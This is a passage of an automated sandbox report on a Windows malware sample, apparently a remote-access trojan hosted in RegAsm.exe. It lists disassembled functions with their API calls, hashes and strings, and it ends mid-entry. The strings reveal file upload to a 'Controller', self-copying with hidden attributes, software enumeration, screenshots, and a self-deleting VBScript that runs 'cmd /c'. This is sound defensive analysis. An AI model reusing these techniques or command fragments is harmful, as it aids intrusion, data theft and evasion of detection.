                              • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                              Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                              • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                              • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                              • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                              • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                              • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                              • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                              • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressHandleModuleProc
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                              • API String ID: 1646373207-255920310
                              • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                              • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                              • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                              • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                              Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 0040CE07
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                              • CopyFileW.KERNEL32 ref: 0040CED0
                              • _wcslen.LIBCMT ref: 0040CEE6
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                              • CopyFileW.KERNEL32 ref: 0040CF84
                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                              • _wcslen.LIBCMT ref: 0040CFC6
                              • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                              • CloseHandle.KERNEL32 ref: 0040D02D
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                              • ExitProcess.KERNEL32 ref: 0040D062
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                              • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$del$open
                              • API String ID: 1579085052-2309681474
                              • Opcode ID: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                              • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                              • Opcode Fuzzy Hash: 13f7aa7ccb2e11be31f7ad96e96a4d93445e7550d40e25192285b95e595fa052
                              • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                              Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                              Download Yara Rule
                              APIs
                              • lstrlenW.KERNEL32(?), ref: 0041C036
                              • _memcmp.LIBVCRUNTIME ref: 0041C04E
                              • lstrlenW.KERNEL32(?), ref: 0041C067
                              • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                              • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                              • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                              • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                              • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                              • _wcslen.LIBCMT ref: 0041C13B
                              • FindVolumeClose.KERNEL32 ref: 0041C15B
                              • GetLastError.KERNEL32 ref: 0041C173
                              • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                              • lstrcatW.KERNEL32 ref: 0041C1B9
                              • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                              • GetLastError.KERNEL32 ref: 0041C1D0
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                              • String ID: ?
                              • API String ID: 3941738427-1684325040
                              • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                              • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                              • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                              • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                              Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63B01986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                              • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                              • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                              • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                              • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                              • Sleep.KERNEL32(00000064), ref: 00412E94
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                              • String ID: /stext "$0TG$0TG$NG$NG
                              • API String ID: 1223786279-2576077980
                              • Opcode ID: 3d0323ce1c9d0b8fdd539b767e1f21648be4e9102a5c9b14e4e64c444153522c
                              • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                              • Opcode Fuzzy Hash: 3d0323ce1c9d0b8fdd539b767e1f21648be4e9102a5c9b14e4e64c444153522c
                              • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                              Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$EnvironmentVariable
                              • String ID:
                              • API String ID: 1464849758-0
                              • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                              • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                              • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                              • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                              Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                              • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                              • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnumOpen
                              • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                              • API String ID: 1332880857-3714951968
                              • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                              • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                              • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                              • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                              Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                              Download Yara Rule
                              APIs
                              • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                              • GetCursorPos.USER32(?), ref: 0041D5E9
                              • SetForegroundWindow.USER32(?), ref: 0041D5F2
                              • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                              • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                              • ExitProcess.KERNEL32 ref: 0041D665
                              • CreatePopupMenu.USER32 ref: 0041D66B
                              • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                              • String ID: Close
                              • API String ID: 1657328048-3535843008
                              • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                              • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                              • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                              • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                              Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$Info
                              • String ID:
                              • API String ID: 2509303402-0
                              • Opcode ID: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                              • Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
                              • Opcode Fuzzy Hash: c43f3e9ef6aa90fc617fbeb0adb34ec0a6d023508037e2c59db227b807854484
                              • Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65
                              Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                              • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                              • __aulldiv.LIBCMT ref: 00408D4D
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                              • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                              • CloseHandle.KERNEL32(00000000), ref: 00408F64
                              • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                              • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                              • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                              • API String ID: 3086580692-2582957567
                              • Opcode ID: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                              • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                              • Opcode Fuzzy Hash: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                              • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                              Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00001388), ref: 0040A740
                                • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                              • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                              • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                              • String ID: 8SG$8SG$pQG$pQG$PG$PG
                              • API String ID: 3795512280-1152054767
                              • Opcode ID: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                              • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                              • Opcode Fuzzy Hash: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                              • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                              Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • ___free_lconv_mon.LIBCMT ref: 0045130A
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                              • _free.LIBCMT ref: 004512FF
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00451321
                              • _free.LIBCMT ref: 00451336
                              • _free.LIBCMT ref: 00451341
                              • _free.LIBCMT ref: 00451363
                              • _free.LIBCMT ref: 00451376
                              • _free.LIBCMT ref: 00451384
                              • _free.LIBCMT ref: 0045138F
                              • _free.LIBCMT ref: 004513C7
                              • _free.LIBCMT ref: 004513CE
                              • _free.LIBCMT ref: 004513EB
                              • _free.LIBCMT ref: 00451403
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                              • String ID:
                              • API String ID: 161543041-0
                              • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                              • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                              • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                              • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                              Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00419FB9
                              • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                              • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                              • GetLocalTime.KERNEL32(?), ref: 0041A105
                              • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                              • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                              • API String ID: 489098229-1431523004
                              • Opcode ID: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                              • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                              • Opcode Fuzzy Hash: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                              • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                              Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                                • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                                • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                                • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                              • ExitProcess.KERNEL32 ref: 0040D9C4
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                              • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                              • API String ID: 1913171305-3159800282
                              • Opcode ID: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                              • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                              • Opcode Fuzzy Hash: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                              • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                              Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID:
                              • API String ID: 269201875-0
                              • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                              • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                              • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                              • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                              Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                              • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                              • CloseHandle.KERNEL32(?), ref: 00404E4C
                              • closesocket.WS2_32(000000FF), ref: 00404E5A
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                              • CloseHandle.KERNEL32(?), ref: 00404EBF
                              • CloseHandle.KERNEL32(?), ref: 00404EC4
                              • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                              • CloseHandle.KERNEL32(?), ref: 00404ED6
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                              • String ID:
                              • API String ID: 3658366068-0
                              • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                              • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                              • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                              • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                              Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                              • GetLastError.KERNEL32 ref: 00455CEF
                              • __dosmaperr.LIBCMT ref: 00455CF6
                              • GetFileType.KERNEL32 ref: 00455D02
                              • GetLastError.KERNEL32 ref: 00455D0C
                              • __dosmaperr.LIBCMT ref: 00455D15
                              • CloseHandle.KERNEL32(00000000), ref: 00455D35
                              • CloseHandle.KERNEL32(?), ref: 00455E7F
                              • GetLastError.KERNEL32 ref: 00455EB1
                              • __dosmaperr.LIBCMT ref: 00455EB8
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                              • String ID: H
                              • API String ID: 4237864984-2852464175
                              • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                              • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                              • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                              • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                              Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                              Download Yara Rule
                              APIs
                              • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                              • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                              • __alloca_probe_16.LIBCMT ref: 00453EEA
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                              • __alloca_probe_16.LIBCMT ref: 00453F94
                              • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                              • __freea.LIBCMT ref: 00454003
                              • __freea.LIBCMT ref: 0045400F
                              Strings
